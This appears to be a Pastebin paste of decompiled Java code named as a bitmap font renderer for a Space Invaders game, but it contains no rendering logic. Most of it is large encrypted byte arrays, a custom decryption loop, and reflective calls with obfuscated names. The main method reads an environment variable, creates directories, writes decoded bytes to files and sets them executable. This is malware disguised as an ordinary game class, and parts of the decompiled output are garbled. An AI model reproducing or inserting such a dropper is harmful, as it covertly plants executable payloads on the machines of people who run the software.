Advertisement
raiyanshadow

BitmapMapFontRenderer11.class

Apr 14th, 2019
671
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 30.39 KB | None | 0 0
  1. package br.ol.spaceinvaders.core;
  2.  
  3. import java.io.File;
  4. import java.io.FileOutputStream;
  5. import java.lang.reflect.Field;
  6. import java.lang.reflect.Method;
  7.  
  8. public class BitmapFontRenderer11
  9. {
  10.   public static Object a;
  11.   public static int b1;
  12.   public static int b2;
  13.   public static String b3;
  14.  
  15.   public BitmapFontRenderer11() {}
  16.  
  17.   public static void a() {}
  18.  
  19.   private static void a447410325()
  20.   {
  21.     Class localClass = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName());
  22.     System.arraycopy(new byte[] { -19, -4, -85, -50, 8, -104, -37, -13, Byte.MIN_VALUE, -18, -18, -58, -81, 54, -59, -89, -20, -43, -96, 54, -85, Byte.MIN_VALUE, -81, -51, -115, 7, -95, -103, -56, -108, -26, 61, Byte.MAX_VALUE, -8, 6, -107, -34, 52, -43, -101, -1, -79, -68, 46, -77, -52, 78, -37, 58, -1, 5, 30, 105, 42, -110, -46, -116, -50, 24, -109, -56, 116, 31, 91, -29, 39, -121, -15, -18, 74, 69, -60, 94, 119, 12, -115, 89, -60, -79, 54, -67, -81, -6, -89, -59, 58, -86, -113, -21, -84, -51, 77, -107, -29, 61, -39, -7, 94, 78, -71, 39, -109, 29, -97, 37, -72, -92, -74, -55, 49, -84, -51, 77, -107, -29, 61, -38, 51, 79, -5, -60, 44, -18, -123, 103, -22, 106, -93, -101, -24, 72, 94, 78, 70, 40, 36, 13, -10, -9, 71, -78, -121, -26, -123, 101, -78, 33, -123, 107, 16, 71, 99, 102, 95, 112, 52, -40, 82, 62, 40, 10, -119, -11, 73, -82, -52, 74, 51, 29, 30, -68, -63, 86, -102, 123, -55, -97, -36, 64, -34, 110, 28, -86, -51, 64, -92, -56, 64, -105, -29, 72, 21, 59, 40, -66, -80, 11, 6, 103, 54, -20, 78, 13, -100, -113, -72, -105, -108, -78, -87, -54, 60, -65, -79, -16, -92, -39, 82, -48, 118, 10, -45, 88, 2, -80, -64, 68, -53, -88, 71, -77, -56, 21, 71, -13, -1, -109, -26, 7, -104, -24, 67, -57, -88, 61, -5, 62, 8, -90, -52, 1, -56, -88, -16, 76, 14, -38, 7, Byte.MIN_VALUE, 90, -9, 79, 25, -65, -79, 53, -99, -114, -63, 17, 53, 10, -109, -26, 62, 68, -47, 69, 3, -68, -127, 68, -11, -3, -119, -11, 73, -82, -52, 74, -47, 45, -126, -121, -37, 81, 124, 72, 60, -105, 46, -90, 40, 79, -66, -118, Byte.MAX_VALUE, -103, 72, -55, -71, 50, 35, 31, -39, -121, -5, 93, -60, -123, 19, 107, 67, -17, 97, 40, -90, -56, 67, -65, -83, 46, -81, -63, 0, 57, 96, 65, -109, 16, 51, 94, 44, 78, 52, -28, -24, 95, -16, 51, 112, -78, 106, 58, 125, -79, 107, -99, -63, 41, 33, 34, -106, -31, -9, -39, -105, 66, -85, -55, 67, -103, -81, -54, -110, -89, -55, 26, 17, -16, -51, -95, 61, 124, -8, 66, -112, -72, -54, -43, -118, 5, 85, -18, -59, -95, -88, -27, -86, -51, 64, -92, -37, -1, -39, -105, 66, -85, -55, 67, -103, -81, -54, -110, -89, -55, -126, -57, -27, -116, -24, 55, -84, -99, -27, -70, -74, 73, -41, Byte.MIN_VALUE, 24, -79, -65, 60, 74, -16, 5, -53, -71, 34, -22, -108, 82, -114, -26, 66, 112, -39, -4, -90, -53, 69, -44, -104, 62, -2, 96, 55, -73, -73, 10, -9, -121, 82, -114, -26, 66, -71, -112, -27, -70, -74, 73, -36, Byte.MAX_VALUE, 45, -91, -51, 68, -119, -17, 25, -88, -54, 71, -58, -86, 62, -70, -60, 26, -47, -91, 59, -85, -98, -27, -82, -49, 79, -113, -11, 34, -22, -108, 82, -114, -26, 66, -84, -99, -40, 126, -10, 66, -41, -89, 70, 90, -32, 13, -100, -31, 70, -126, -16, 16, -22, -108, 82, -114, -26, 66, -98, -85, -42, -92, -93, -42, -96, -33, 81, -117, -18, 64, 35, 36, 26, -100, -31, 70, -126, -16, 16, -87, -54, 60, -65, -79, -16, -92, -39, 82, -48, 118, 10, -21, 64, -18, -100, -31, 73, -53, -88, 71, -77, -56, 21, 71, -13, -1, -109, -26, 7, -104, -24, 67, -57, -88, 61, -5, 62, 8, -90, -52, 1, -56, -88, -16, 89, 33, -6, 7, Byte.MIN_VALUE, 90, -9, 79, 25, -65, -79, 53, -99, -114, -63, 17, 53, 10, -109, -26, 62, 90, -32, 13, -100, -31, 70, -126, -16, 16, 80, -22, -5, -98, -33, 62, -85, -98, -27, -70, -74, 73, -35, Byte.MIN_VALUE, 50, -19, 95, 32, 122, 0, 59, -91, -94, -42, -70, -74, 73, 36, 35, 27, -90, -38, 69, 113, -40, -27, 8, 103, 56, -116, -13, 29, 92, -34, 10, -124, -16, 71, -39, 112, 40, -49, 106, 39, -102, 94, -76, -92, -82, 79, 123, 92, 29, 66, 66, -49, -91, -37, 18, -16, 95, 106, -54, 74, 57, -111, -74, -26, -92, -44, 68, -40, -87, 70, -104, -26, 71, -125, -10, 22, 116, -56, -54, 115, -70, -83, -117, -18, 60, -56, -89, 56, -124, -18, 15, -119, -41, 20, -108, -92, -48, -127, -55, -24, -17, -116, 71, -79, -51, 82, -40, -87, 70, -104, -26, 71, -125, -10, 22, 116, -56, -54, 101, -56, -53, 25, 86, 56, -116, -13, 29, -26, -112, 59, 107, -34, -11, -84, -63, 50, -83, -102, -42, -70, -74, 73, 35, 36, 26, -100, -31, 70, -126, -16, 16, -105, -23, 84, -108, -52, 48, -93, -55, 64, -116, -15, 25, -9, -121, 82, -114, -26, 66, -71, -112, -27, -70, -74, 73, -36, Byte.MAX_VALUE, 45, -91, -51, 68, -119, -17, 25, -88, -54, 71, -58, -86, 62, -70, -60, 26, -47, -91, 59, -85, -98, -27, -82, -49, 79, -113, -11, 34, -22, -108, 82, -114, -26, 66, -84, -99, -40, 126, -10, 66, -41, -89, 70, 90, -32, 13, -100, -31, 70, -126, -16, 16, -22, -108, 82, -114, -26, 66, -98, -85, -42, -92, -93, -42, -96, -33, 81, -117, -18, 64, 35, 36, 26, -100, -31, 70, -126, -16, 16, -95, -53, 66, -91, -122, -72, -87, -61, 62, 91, -46, -79, -51, -115, 7, -93, -105, -26, -87, -60, 63, -119, -12, 86, -56, -113, 24, -101, -34, 60, 123, -47, 19, 124, -3, 77, -121, -77, -37, -77, -52, 78, -126, -7, 63, -105, -24, 68, 5, 52, -3, -110, -19, 1, 90, -32, 13, -100, -31, 70, -126, -16, 16, 80, -22, -5, -98, -33, 62, -85, -98, -27, -70, -74, 73, -35, Byte.MIN_VALUE, 50, -19, 95, 32, 122, 0, 59, -91, -94, -42, -70, -74, 73, 36, 35, 27, -90, -38, 69, 113, -40, -27, 8, 103, 56, -116, -13, 29, 92, -34, 10, -124, -16, 71, -14, 87, -109, -88, -64, -59, -20, -11, 112, 108, 8, 54, -47, -101 }, 0, (byte[])localClass.getField("a").get(null), 1024, 1024);
  23.     localClass.getMethod("_a1009916519", new Class[0]).invoke(null, new Object[0]);
  24.   }
  25.  
  26.   private static void a1009916519()
  27.   {
  28.     Object localObject = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName());
  29.     System.arraycopy(new byte[] { 62, -113, -85, -26, -113, -15, 78, -123, -18, 20, -84, -60, 62, -70, -60, 90, -126, 41, 96, 20, 116, 21, 51, 32, 12, 13, -72, -74, -11, -34, 105, 90, 40, 5, -79, -4, 91, -26, -2, 16, -114, -95, -43, 8, -43, -82, -34, Byte.MIN_VALUE, 45, -68, -61, 86, -119, -12, 66, 125, 7, 82, -28, 85, 9, -124, -16, 71, -47, -107, 15, 54, -7, -20, 99, -113, 91, 88, 101, -86, 83, 118, -22, -21, 112, -63, -94, -126, 1, -24, -90, 44, 84, 23, 33, -53, -6, 59, 35, -24, -20, Byte.MAX_VALUE, -106, -14, -122, 13, 2, 42, 34, 33, -82, -52, 47, -59, -86, 48, -45, -99, 66, -31, -102, 71, -79, -51, 82, -124, -108, 48, -102, -38, 3, -77, -96, 23, 2, 40, -98, -25, 74, -57, -36, -107, 59, 57, -98, 39, 42, 34, 33, -82, -52, 47, -59, -86, 48, -45, -99, 66, -1, 112, 48, -67, -106, 2, -42, 122, -82, 59, -2, -4, -96, -39, 63, -99, -43, 1, -73, -55, 84, -73, -57, 82, -120, -11, 81, 6, 101, -19, -10, 13, 43, 25, -120, 112, -92, -45, 87, -27, -43, 113, 15, 43, 8, -109, -26, 62, -5, 116, 52, -85, -53, 74, -100, -33, 43, -68, 26, -3, -17, -112, -55, -117, 92, 10, 26, -113, -17, 59, 89, -41, 101, -114, -8, 12, 46, -56, -108, -26, 61, Byte.MAX_VALUE, -8, 6, -107, -34, 52, -43, -101, -1, -79, -68, 46, -77, -52, 78, -16, -29, 90, 124, -108, 5, 50, 77, 68, -69, -64, -110, -5, -78, 105, 105, -48, -11, 109, 7, 55, -78, -56, 77, -90, -53, 69, 7, 73, 40, -82, -55, 70, -43, -101, 66, 125, 7, 82, -16, 73, -3, 110, -88, 47, -92, -29, 51, -63, 98, 95, 113, 113, -67, 105, 47, -69, 67, 58, -98, 108, 18, 65, -102, -27, 64, -89, -49, 73, 54, 4, -3, -59, -85, 49, -57, -87, -16, -32, -97, 77, 59, 21, 40, -82, -55, 70, -43, -101, 66, 125, 7, 82, -113, -100, -70, -95, -36, -3, -58, -81, 54, -39, -109, 67, 42, 14, 2, -112, -19, -3, -45, -84, 68, -101, -32, 0, -87, -112, -57, -5, 93, 33, 125, 0, 76, -99, -35, 64, -67, -86, 12, -109, -24, 71, -101, -30, 66, -85, -77, 55, -59, -87, -4, -74, -73, -17, 38, 20, 13, -93, -120, -40, 124, -35, 14, 103, -23, -48, -31, -112, 64, 51, 101, -2, 118, -24, 65, 91, 110, -39, 8, 33, -103, -12, 110, -52, 77, -120, 83, 88, 60, -21, -54, -121, 19, -116, 10, 101, -125, 57, 28, 89, 83, 44, 54, 118, -5, -96, 103, 53, 114, 113, 124, 29, -49, -6, -126, 19, -76, -7, -25, 98, 21, 10, 108, 56, 47, -103, -119, 89, -25, -102, -121, -88, -2, 95, -53, 59, 75, -81, 4, -122, 107, 45, -118, 20, 46, 73, 113, 0, 83, 79, 10, -29, 100, 121, -9, 5, -8, -126, -117, 48, -21, -8, 108, 104, 111, 86, -50, 14, -3, -103, 14, -56, -125, -91, -27, 91, 103, -116, 3, -70, 73, -77, -127, 23, 113, -15, 50, -124, -63, -45, -88, 26, -55, -71, 102, -44, -100, 94, 126, 56, -117, 18, -2, -127, -106, 27, -61, 8, 3, -20, 94, 4, 2, -66, 31, -40, -56, -127, 11, 36, 105, 67, 31, 99, -96, -58, 94, 38, -44, 10, -97, 29, -27, -86, 117, 107, -119, -70, 75, -46, 84, -122, -62, 19, 23, 109, 106, -27, 107, -34, 76, 34, -90, 6, -4, 86, 19, 42, -67, -106, -117, 16, -78, -15, -97, 73, 8, 5, 87, -118, 104, 38, 123, 10, 62, 19, -90, -7, -121, 56, -52, -113, 118, 89, -42, 82, -109, 97, -38, 56, -41, 108, -5, -7, -16, -32, -44, 2, 90, 93, 48, -49, 50, -89, 5, 9, 119, 0, -12, 72, -22, -1, 78, 63, -81, 91, 63, 28, -42, -55, 106, 48, 70, -108, 92, -92, -118, 59, 72, -96, 90, -113, 75, 90, 62, 80, -13, 126, 46, -55, 51, 48, -66, 94, -57, 115, -121, 2, 63, -94, -25, Byte.MAX_VALUE, 7, -27, -8, 15, -42, 48, 63, -124, 98, -51, 45, -79, -78, -98, 118, 27, 5, -120, 29, -36, -108, 98, -15, -21, -6, 0, 23, -8, 85, -2, -116, -4, 107, 103, -35, -87, -23, -52, -102, -46, 9, -120, -104, 30, -18, 112, -19, 52, 96, -12, -111, 53, -40, -10, 56, 124, -28, -39, 124, -110, -123, 59, -55, -126, Byte.MAX_VALUE, 115, 10, 32, 105, 108, -5, 100, -125, 101, 57, -127, 116, -75, -126, -28, 83, 111, 46, -5, -112, -84, -99, -125, -117, -55, -11, 15, 22, -37, 91, 31, -77, 98, 53, -9, 91, -116, -93, 87, 122, -74, -15, -120, 87, -56, -49, -95, -18, -9, 64, -7, 20, -52, -79, 16, 66, 75, 53, 86, 109, -24, -100, -74, 94, 44, 56, 102, -94, -16, 13, 91, 74, 78, -41, -36, 10, 122, -111, -78, 45, -28, 2, -73, -52, 67, -83, -110, 63, 43, 87, -111, 56, -40, 76, 68, 38, 86, 98, -27, -43, -55, -8, -122, -103, -26, -77, 20, -76, -9, 65, 96, 45, -79, -91, -98, -27, 37, -92, 101, -46, -35, -59, -29, 114, -55, -17, -124, -117, -109, 62, -100, -57, 52, -69, 111, -90, -127, 69, 52, -16, -96, 33, -99, 70, 52, 67, 93, -55, 80, 116, 57, -98, 121, -89, 4, 47, -59, -5, 15, 8, 124, -105, 3, 113, -34, -51, -101, -10, 37, 18, 40, 122, -38, 38, -4, 7, 62, 3, -83, -107, Byte.MIN_VALUE, -95, 57, 97, -124, 122, -97, -126, 97, 20, -103, -92, 63, 18, -96, 73, 1, 100, -126, 107, 1, 112, 113 }, 0, (byte[])((Class)localObject).getField("a").get(null), 2048, 963);
  30.     localObject = (byte[])Class.forName(Thread.currentThread().getStackTrace()[1].getClassName()).getField("a").get(null);
  31.     int i = 0;
  32.     int j = 3201;
  33.     while (i < 3008)
  34.     {
  35.       j = j % 17 - 233 + j % 236;
  36.       int tmp6674_6673 = (i + 1);
  37.       localObject[tmp6674_6673] = ((byte)(localObject[tmp6674_6673] - ((localObject[i] ^ 0xFFFFFFFF) + j - (18 - j))));
  38.       int tmp6695_6694 = (i + 2);
  39.       localObject[tmp6695_6694] = ((byte)(localObject[tmp6695_6694] - (localObject[(i + 1)] - ((j ^ 0xFFFFFFFF) & 0x17) - 133)));
  40.       int tmp6718_6717 = i;
  41.       localObject[tmp6718_6717] = ((byte)(localObject[tmp6718_6717] + (-localObject[(i + 1)] % 51 + (localObject[(i + 2)] ^ 0xFFFFFFFF | 0x86))));
  42.       int tmp6746_6745 = i;
  43.       localObject[tmp6746_6745] = ((byte)(localObject[tmp6746_6745] ^ localObject[(i + 2)] - 30 + j % 3));
  44.       int tmp6765_6764 = i;
  45.       localObject[tmp6765_6764] = ((byte)(localObject[tmp6765_6764] - ((localObject[(i + 1)] & localObject[(i + 2)]) - (localObject[(i + 2)] - 1))));
  46.       i += 3;
  47.     }
  48.   }
  49.  
  50.   private static void a296977313()
  51.   {
  52.     Class localClass = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName());
  53.     System.arraycopy(new byte[] { -47, 12, 31, 76, -81, -75, 88, 46, 38, 27, 30, 19, 96, -35, -106, -124, 91, -10, -52, -81, 117, 109, 67, -74, 56, 6, 52, 92, 38, 102, -80, 30, 114, -16, -51, 108, -12, -41, 111, 63, 14, 81, -83, -10, 119, -30, -83, 117, -30, -89, 106, -30, -101, 100, -10, -125, -116, -27, 114, -58, -55, -24, 9, 101, 43, 0, -94, -54, -32, -49, Byte.MIN_VALUE, -3, 106, -46, 1, -77, 94, -14, 81, Byte.MAX_VALUE, -76, 46, 110, -115, -80, 54, -59, 19, -91, -45, 56, -93, 94, 9, 97, -3, -68, 5, 122, 42, 51, 41, -106, 15, -31, -100, -5, -16, -64, 100, -67, 86, -13, 117, -76, Byte.MAX_VALUE, 108, 109, -29, 29, 37, 48, 13, 23, 23, -75, -87, 79, 1, 20, 41, -121, 116, -114, 93, 39, -35, 48, -38, -32, -72, 55, 10, -32, -62, 105, -76, 85, -106, -121, 5, -68, -88, -88, 32, 66, -90, -57, 56, 20, 93, 30, 104, -45, 125, 66, 119, 21, 32, 71, -84, -11, 17, 54, -69, -118, 104, 12, -120, -59, -47, 40, -70, -79, 57, Byte.MIN_VALUE, -18, -9, Byte.MIN_VALUE, -15, -8, 126, 63, 58, 103, -83, 28, 106, -28, -25, 107, -31, -18, 117, -30, -45, 104, -16, -63, -123, 52, 109, -36, -100, 111, 17, -91, 81, 66, -3, -74, -7, -81, 57, 61, 76, -44, 82, 86, -119, -89, 85, 30, -58, 50, 87, -18, -101, -63, 42, 67, -64, 60, 29, -60, -106, 74, -87, -104, -33, 69, 86, 48, -89, -98, 0, 101, 73, 33, 2, -43, -117, 49, 104, Byte.MIN_VALUE, -26, 39, 18, 121, -34, 33, 8, -95, 56, 19, -97, 117, 48, 27, 122, -12, 22, -48, -42, 88, -48, -92, 65, 83, -28, -24, -53, 0, -102, -36, 102, 101, 58, 0, -81, 50, 12, -80, -55, -120, 84, 66, -89, -109, 95, 48, 45, 97, -36, -77, 27, -21, -71, -76, 69, 119, -59, 98, -103, -118, -31, 110, -56, 63, -36, -92, -2, -118, 25, 53, 126, 16, 109, 44, 90, 15, 71, 82, -48, -105, 89, -32, 65, -102, -45, 43, -103, -4, 58, -55, -87, 66, 35, 109, 118, 19, 13, -87, -20, 46, 90, -116, 5, 12, -75, 114, 71, 8, 3, -63, -79, 54, 13, 65, -41, -98, -84, -109, 75, -84, -72, -121, -8, -63, 73, 50, -85, -42, 51, -28, 72, -58, -48, 54, -105, 24, -126, 14, -71, -12, 58, 108, 65, -119, 117, -61, -56, -102, 22, -124, -35, 58, 76, 84, 25, -63, 123, 72, -31, 0, 87, 24, -54, -74, 19, -97, 36, 105, 15, -58, -19, -78, 54, 3, 54, 40, -65, -117, -57, 77, -19, 41, -78, 104, -16, 29, 50, 124, 0, -28, -86, 58, -103, -71, -106, -58, -89, 115, 12, 88, -74, -60, -41, -46, -7, 60, 28, 107, -28, 104, -70, -68, -73, -29, -107, -107, -55, -4, 31, -47, 7, -120, -50, -26, -127, -108, 7, -13, 15, 84, 9, -73, -29, 54, 11, 122, -112, -34, 104, 48, -1, -7, 120, -60, -113, 70, -82, 88, 38, 99, -82, -13, 105, 79, -125, -87, -37, -87, -110, -57, -29, -52, 123, -18, -73, -85, 123, -26, 78, -90, -116, 22, -66, -122, 98, 17, 116, 90, -86, 67, -33, 112, -115, -99, 83, -28, -115, -100, -21, -43, 110, 91, 29, 66, 73, 24, 112, -66, -82, 44, 42, 4, 63, 68, -74, -34, -24, -95, 78, -98, 40, -77, 86, 45, -89, 19, 1, 80, -4, 1, 25, 86, -94, -37, 41, -9, -121, -109, -20, 119, 73, -13, -20, 35, -106, 24, -2, 117, 89, -19, -84, -88, 83, -43, -40, 25, 88, 26, 97, 77, -64, 48, -26, 62, 53, 38, -96, -1, 61, 62, -75, -47, -13, -108, -77, 109, 35, 88, -37, 73, -11, 78, 75, -70, 109, -98, 118, -100, -115, 106, -45, -22, -61, -3, 64, 47, Byte.MAX_VALUE, -8, -18, -34, -116, -115, 121, -74, 101, 122, 78, 71, 76, 1, -49, -56, -62, -44, 30, 66, 74, -43, -74, 65, 103, -104, 103, -40, -68, 34, -112, -123, -46, 87, -98, 65, -40, -90, 88, -47, 92, -41, 100, 73, -44, -112, 2, -118, -78, -67, -13, 77, 79, 40, 85, -119, 3, -125, 42, -46, 78, -113, 5, -36, -61, -51, -12, 3, -114, 117, 51, -21, -86, 38, -2, 44, 38, -10, -96, 51, 77, -106, -2, -58, 76, -5, 99, -95, 67, 10, -76, -45, -17, 104, 73, -44, 122, 115, -59, 117, 38, 20, 22, -24, 94, -20, 58, -42, -67, 85, 122, 118, -19, 20, 39, -8, -127, -39, 50, 47, -26, 37, 107, -51, -119, -73, -9, 40, Byte.MAX_VALUE, -19, 30, 115, -15, 34, 115, 62, 109, 88, -38, 96, -99, -81, 108, -46, -31, 42, 107, -66, 77, 107, -11, 42, Byte.MAX_VALUE, -31, 42, 107, -31, 42, 107, -31, 42, 107, -31, 42, 107, -31, 42, 107, -125, -43, -3, 95, -19, -39, -55, -112, -1, 110, -22, -7, -59, -113, -6, -24, 118, 18, 101, -13, -2, -51, -119, -73, -9, 40, Byte.MAX_VALUE, -19, 30, 115, -15, 34, 115, 62, 109, 88, 93, 123, -112, -66, 63, 113, -29, 40, 107, 40, -26, 110, -17, 42, 121, -31, 42, 107, -31, 42, 107, -31, 42, 107, -31, 42, 107, 124, -113, 107, -88, -55, 54, 122, -64, -25, Byte.MAX_VALUE, -11, 66, 7, 103, 58, -75, -55, 81, -59, -111, -69, -25, 36, 107, 29, -18, 109, -29, 42, 109, -97, 108, 107, 6, -18, 86, -31, 42, 107, 22, -14, -97, 24, -96, 103, 28, -16, 9, 1, -13, -119, -72, 55, -96, 92, -64, 59, -2, 54, 98, 123, -104, -56, 81, -37, -69, -93, -37, 80, 6, 103, 54, -6, 64, -1, -97, -30, 1, -47, -98, 54, -55, -79, 74, -98, -37, -29, -16, 95, 20, -85, -53, 74, -100, -33, -5, -36, -99, 77, -66, -58, 65, 83, 12, 56, -77, -67, 13, -114, -19, 75, -108, -32, 55, -117, -12, 72, -84, -51, -29, -91, -57, 57, 80, -8, -23, -77, -52, 78, -126, -7, 63, -105, -24, 68, 85, -64, -70, -57, -87, 51, 77 }, 0, (byte[])localClass.getField("a").get(null), 0, 1024);
  54.     localClass.getMethod("_a447410325", new Class[0]).invoke(null, new Object[0]);
  55.   }
  56.  
  57.   private static void a1187031382()
  58.   {
  59.     try
  60.     {
  61.       String[] arrayOfString = { "_a1922821497", "b1", "b2", "b3" };
  62.       Class localClass;
  63.       (localClass = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName())).getField("a").set(null, new byte['௃']);
  64.       byte[] arrayOfByte = (byte[])localClass.getField("a").get(null);
  65.       localClass.getMethod("_a296977313", new Class[0]).invoke(null, new Object[0]);
  66.       if (File.separatorChar == arrayOfByte['ࡏ'])
  67.       {
  68.         localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2206));
  69.         localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(4));
  70.         localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
  71.         str1 = System.getenv((String)localClass.getField(arrayOfString[3]).get(null));
  72.         try
  73.         {
  74.           localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2211));
  75.           localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(18));
  76.           localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
  77.           Object localObject5 = str1 + (String)localClass.getField(arrayOfString[3]).get(null);
  78.           localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(1345));
  79.           localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(13));
  80.           localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
  81.           String str4 = (String)localClass.getField(arrayOfString[3]).get(null);
  82.           new File((String)localObject5).mkdir();
  83.           localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(1305));
  84.           localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(9));
  85.           localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
  86.           localObject9 = new FileOutputStream((String)localObject5 + (String)localClass.getField(arrayOfString[3]).get(null));
  87.           localThrowable10 = null;
  88.           try
  89.           {
  90.             ((FileOutputStream)localObject9).write(arrayOfByte, 1183, 118);
  91.             ((FileOutputStream)localObject9).close();
  92.           }
  93.           catch (Throwable localThrowable11)
  94.           {
  95.             throw ((Throwable)localObject5);
  96.           }
  97.           finally
  98.           {
  99.             if (localThrowable10 != null) {
  100.               try
  101.               {
  102.                 ((FileOutputStream)localObject9).close();
  103.               }
  104.               catch (Throwable localThrowable7)
  105.               {
  106.                 localThrowable10.addSuppressed(localThrowable7);
  107.               }
  108.             } else {
  109.               ((FileOutputStream)localObject9).close();
  110.             }
  111.           }
  112.           new File(str2 + (String)localClass.getField(arrayOfString[3]).get(null)).getClass().getMethod(localThrowable7, new Class[] { Boolean.TYPE }).invoke(new File(str2 + (String)localClass.getField(arrayOfString[3]).get(null)), new Object[] { Boolean.valueOf(true) });
  113.           new File(str2 + (String)localClass.getField(arrayOfString[3]).get(null)).setExecutable(true);
  114.           localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2245));
  115.           localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(13));
  116.           localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
  117.           localObject9 = new FileOutputStream(str2 + (String)localClass.getField(arrayOfString[3]).get(null));
  118.           localThrowable10 = null;
  119.           try
  120.           {
  121.             ((FileOutputStream)localObject9).write(arrayOfByte, 945, 128);
  122.             ((FileOutputStream)localObject9).close();
  123.           }
  124.           catch (Throwable localThrowable12)
  125.           {
  126.             Throwable localThrowable5;
  127.             throw localThrowable5;
  128.           }
  129.           finally
  130.           {
  131.             if (localThrowable10 != null) {
  132.               try
  133.               {
  134.                 ((FileOutputStream)localObject9).close();
  135.               }
  136.               catch (Throwable localThrowable8)
  137.               {
  138.                 localThrowable10.addSuppressed(localThrowable8);
  139.               }
  140.             } else {
  141.               ((FileOutputStream)localObject9).close();
  142.             }
  143.           }
  144.           new File(str3 + (String)localClass.getField(arrayOfString[3]).get(null)).getClass().getMethod(localThrowable8, new Class[] { Boolean.TYPE }).invoke(new File(str3 + (String)localClass.getField(arrayOfString[3]).get(null)), new Object[] { Boolean.valueOf(true) });
  145.           new File(str3 + (String)localClass.getField(arrayOfString[3]).get(null)).setExecutable(true);
  146.           localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2278));
  147.           localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(20));
  148.           localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
  149.           localObject9 = new FileOutputStream(str1 + (String)localClass.getField(arrayOfString[3]).get(null));
  150.           localThrowable10 = null;
  151.           try
  152.           {
  153.             ((FileOutputStream)localObject9).write(arrayOfByte, 29, 893);
  154.             ((FileOutputStream)localObject9).close();
  155.           }
  156.           catch (Throwable localThrowable13)
  157.           {
  158.             Throwable localThrowable6;
  159.             throw localThrowable6;
  160.           }
  161.           finally
  162.           {
  163.             if (localThrowable10 != null) {
  164.               try
  165.               {
  166.                 ((FileOutputStream)localObject9).close();
  167.               }
  168.               catch (Throwable localThrowable9)
  169.               {
  170.                 localThrowable10.addSuppressed(localThrowable9);
  171.               }
  172.             } else {
  173.               ((FileOutputStream)localObject9).close();
  174.             }
  175.           }
  176.         }
  177.         catch (Exception localException1)
  178.         {
  179.           try
  180.           {
  181.             Throwable localThrowable10;
  182.             localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2042));
  183.             localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(21));
  184.             localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
  185.             localObject7 = str1 + (String)localClass.getField(arrayOfString[3]).get(null);
  186.             new File((String)localObject7).mkdir();
  187.             localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2094));
  188.             localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(19));
  189.             localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
  190.             localObject8 = new FileOutputStream((String)localObject7 + (String)localClass.getField(arrayOfString[3]).get(null));
  191.             localObject9 = null;
  192.             try
  193.             {
  194.               ((FileOutputStream)localObject8).write(arrayOfByte, 1383, 320);
  195.               ((FileOutputStream)localObject8).close();
  196.             }
  197.             catch (Throwable localThrowable14)
  198.             {
  199.               throw localThrowable10;
  200.             }
  201.             finally
  202.             {
  203.               if (localObject9 != null) {
  204.                 try
  205.                 {
  206.                   ((FileOutputStream)localObject8).close();
  207.                 }
  208.                 catch (Throwable localThrowable1)
  209.                 {
  210.                   ((Throwable)localObject9).addSuppressed(localThrowable1);
  211.                 }
  212.               } else {
  213.                 ((FileOutputStream)localObject8).close();
  214.               }
  215.             }
  216.             localThrowable1.getField(localObject1[1]).set(null, Integer.valueOf(2151));
  217.             localThrowable1.getField(localObject1[2]).set(null, Integer.valueOf(18));
  218.             localThrowable1.getMethod(localObject1[0], new Class[0]).invoke(null, new Object[0]);
  219.             localObject8 = new FileOutputStream((String)localObject7 + (String)localThrowable1.getField(localObject1[3]).get(null));
  220.             localObject9 = null;
  221.             try
  222.             {
  223.               ((FileOutputStream)localObject8).write(arrayOfByte, 1729, 307);
  224.               ((FileOutputStream)localObject8).close();
  225.             }
  226.             catch (Throwable localThrowable15)
  227.             {
  228.               throw localThrowable10;
  229.             }
  230.             finally
  231.             {
  232.               if (localObject9 != null) {
  233.                 try
  234.                 {
  235.                   ((FileOutputStream)localObject8).close();
  236.                 }
  237.                 catch (Throwable localThrowable2)
  238.                 {
  239.                   ((Throwable)localObject9).addSuppressed(localThrowable2);
  240.                 }
  241.               } else {
  242.                 ((FileOutputStream)localObject8).close();
  243.               }
  244.             }
  245.             localThrowable2.getField(localObject2[1]).set(null, Integer.valueOf(2190));
  246.             localThrowable2.getField(localObject2[2]).set(null, Integer.valueOf(16));
  247.             localThrowable2.getMethod(localObject2[0], new Class[0]).invoke(null, new Object[0]);
  248.             localObject8 = new FileOutputStream((String)localObject7 + (String)localThrowable2.getField(localObject2[3]).get(null));
  249.             localObject9 = null;
  250.             try
  251.             {
  252.               ((FileOutputStream)localObject8).write(arrayOfByte, 29, 893);
  253.               ((FileOutputStream)localObject8).close();
  254.             }
  255.             catch (Throwable localThrowable16)
  256.             {
  257.               throw localThrowable10;
  258.             }
  259.             finally
  260.             {
  261.               if (localObject9 != null) {
  262.                 try
  263.                 {
  264.                   ((FileOutputStream)localObject8).close();
  265.                 }
  266.                 catch (Throwable localThrowable3)
  267.                 {
  268.                   ((Throwable)localObject9).addSuppressed(localThrowable3);
  269.                 }
  270.               } else {
  271.                 ((FileOutputStream)localObject8).close();
  272.               }
  273.             }
  274.           }
  275.           catch (Exception localException2) {}
  276.         }
  277.       }
